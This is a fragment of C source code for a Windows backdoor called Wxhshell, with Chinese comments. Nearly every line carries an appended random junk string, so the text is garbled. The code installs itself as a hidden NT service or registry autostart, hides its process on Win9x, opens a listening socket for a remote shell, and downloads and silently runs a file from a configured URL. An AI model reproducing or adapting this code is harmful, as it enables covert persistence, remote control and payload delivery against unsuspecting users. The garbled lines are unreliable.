ULONG UniqueProcessId; b0riiF
ULONG InheritedFromUniqueProcessId; >pG]#Z g
} PROCESS_BASIC_INFORMATION; ,XI,B\eNk
P.&,nFIg3
PROCNTQSIP NtQueryInformationProcess; !COaPrg
ZKAIG=l&!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q fadsVp
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; at6f(+
}1N)3~
HANDLE hProcess; `@")R-
PROCESS_BASIC_INFORMATION pbi; s-*8=
YPf&y"E&H
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %D gU
if(NULL == hInst ) return 0; XH1so1h
eZI&d;i
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }P-9\*hlm
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,Y &Q,
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JQQD~J1)E
1 (P>TH
if (!NtQueryInformationProcess) return 0; +@usJkxul
XHlPjw
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wgkh}b
if(!hProcess) return 0; Ju)2J?Xs5
Il~ph9{JH
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9)aXLM4Y
0-l
@U{
CloseHandle(hProcess); uAK-%Uu?
6H.D`"cj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p?0 a"5Q
if(hProcess==NULL) return 0; Lo7R^>
/LPSI^l!m
HMODULE hMod; sBZKf8 @/
char procName[255]; :*A6Ba
unsigned long cbNeeded; ~Jmn?9 3
UZmzk
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); py
P5^Qv
!_l W#feR
CloseHandle(hProcess); ]c[80F-
'ZTE"KT
if(strstr(procName,"services")) return 1; // 以服务启动 .~ZNlI {K
aR*z5p2-w
return 0; // 注册表启动 G80d!*7
} Ax=Rb
B"
!Lk|eGd*
// 主模块 ,Z&"@g
int StartWxhshell(LPSTR lpCmdLine) j=
]WAjT
{ ~?[%uGI0h
SOCKET wsl; y5|`B(
BOOL val=TRUE; WvUe44&^$
int port=0; @"'1"$
struct sockaddr_in door; y?CEV-3+
19bP0y
if(wscfg.ws_autoins) Install(); ,t*#o&+
fo4j^,`
port=atoi(lpCmdLine); `Qaw]&O
'WxcA)z0cQ
if(port<=0) port=wscfg.ws_port; l_ >^LFOA
8yB
WSADATA data; ;u!>( QQ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Mm^o3vl
3MNo&0M9
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]*ZL>fuD|
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B=u@u([.
door.sin_family = AF_INET; "eZNci
door.sin_addr.s_addr = inet_addr("127.0.0.1"); z)]_ (zZ^
door.sin_port = htons(port); 7=Ew[MOmM
S=eY`,'#R
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~Q>97%
closesocket(wsl); N/qr}-
3z
return 1; !yG{`#NZZ
} ?9 :{p
`|
L+a~~
if(listen(wsl,2) == INVALID_SOCKET) { r,L#JR w#-
closesocket(wsl); My,ki:V?g6
return 1; (NScG[$}
} 7MOjZD4?
Wxhshell(wsl); iW.8+?Xq&
WSACleanup(); e@NS=U` <
6b6}HO
return 0; Q$iv27
)O#>ONm^
} [0Z
r z+q
g=o)=sQd
// 以NT服务方式启动 BqCBH!^x
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j:O=9
{ _dmgNbs
DWORD status = 0; .v/s9'lB
DWORD specificError = 0xfffffff; ~
9^1m
!@W1d|{lu
serviceStatus.dwServiceType = SERVICE_WIN32; ~BD VmQa
serviceStatus.dwCurrentState = SERVICE_START_PENDING; a^,6[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P7 H-Dw
serviceStatus.dwWin32ExitCode = 0; jxZR%D
serviceStatus.dwServiceSpecificExitCode = 0; b@/z^k{%
serviceStatus.dwCheckPoint = 0; ?VCb@&*
serviceStatus.dwWaitHint = 0; ]Tx8ImD#)A
VbKky1a@
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mxGa\{D#y
if (hServiceStatusHandle==0) return; -KCm#!
bo0m/hVU
status = GetLastError(); j42U|CuK
if (status!=NO_ERROR) ) e;)9~
{ z,X
^;
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^ :6v-
Yx
serviceStatus.dwCheckPoint = 0; Yvs9)g
serviceStatus.dwWaitHint = 0; hz>&E,<8q
serviceStatus.dwWin32ExitCode = status; 6AUXYbK,
serviceStatus.dwServiceSpecificExitCode = specificError; XB50>??NE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iVFHr<zk
return; o'D{ql
} ,*bI0mFZ
T&tCXi
serviceStatus.dwCurrentState = SERVICE_RUNNING; Tm.(gK
serviceStatus.dwCheckPoint = 0; .B6$U>>NS^
serviceStatus.dwWaitHint = 0; _^0yE_ili
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5owUQg,W
} Q/1
6D
M$FQoRwH
// 处理NT服务事件,比如:启动、停止 OzA"i y
VOID WINAPI NTServiceHandler(DWORD fdwControl) U~s&}M\n
{ V`l.F"<L
switch(fdwControl) v,KH2 (N
{ M9fAv
case SERVICE_CONTROL_STOP: rPv+eM">
serviceStatus.dwWin32ExitCode = 0; #hH "g
serviceStatus.dwCurrentState = SERVICE_STOPPED; D""d-oI[
serviceStatus.dwCheckPoint = 0; U*(m'Ea
serviceStatus.dwWaitHint = 0; u f.Zg;Vc
{ %$~?DDNM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1YTnOiYS1
} ]O,!B''8k
return; "6gu6f
case SERVICE_CONTROL_PAUSE: )z=`,\&p:
serviceStatus.dwCurrentState = SERVICE_PAUSED; S=0zP36kH:
break; ;k9s@e#a
case SERVICE_CONTROL_CONTINUE: ]RML;]^
serviceStatus.dwCurrentState = SERVICE_RUNNING; _o8il3
break; yLW iY~Fd
case SERVICE_CONTROL_INTERROGATE: Vx~[;*{,C9
break; #?@k=e\
}; ZcYxH|Gn
SetServiceStatus(hServiceStatusHandle, &serviceStatus); i
jg'X#E
} |FS79Bv
OU]!2[7c
// 标准应用程序主函数 so9h6K{qcp
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W&;X+XA_W
{ S_y!4;]ox
3G~ T_J&
// 获取操作系统版本 B;SYO>.W
OsIsNt=GetOsVer(); PxM]3Aoa
GetModuleFileName(NULL,ExeFile,MAX_PATH); Gm}ecW
LrX7WI
// 从命令行安装 %i]q} M
if(strpbrk(lpCmdLine,"iI")) Install(); JcvWE
$
%t([
// 下载执行文件 0vqXLFf
if(wscfg.ws_downexe) { pfe9n[
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Co4QWyt:
WinExec(wscfg.ws_filenam,SW_HIDE); _ncqd,&z
} R Q X
nBgksB*A
if(!OsIsNt) { ?}D@{%O3T
// 如果时win9x,隐藏进程并且设置为注册表启动 )Jz L
HideProc(); f[6;)ZA
StartWxhshell(lpCmdLine); 5 UpN/\He
} 7i`@`0
else HC@E&t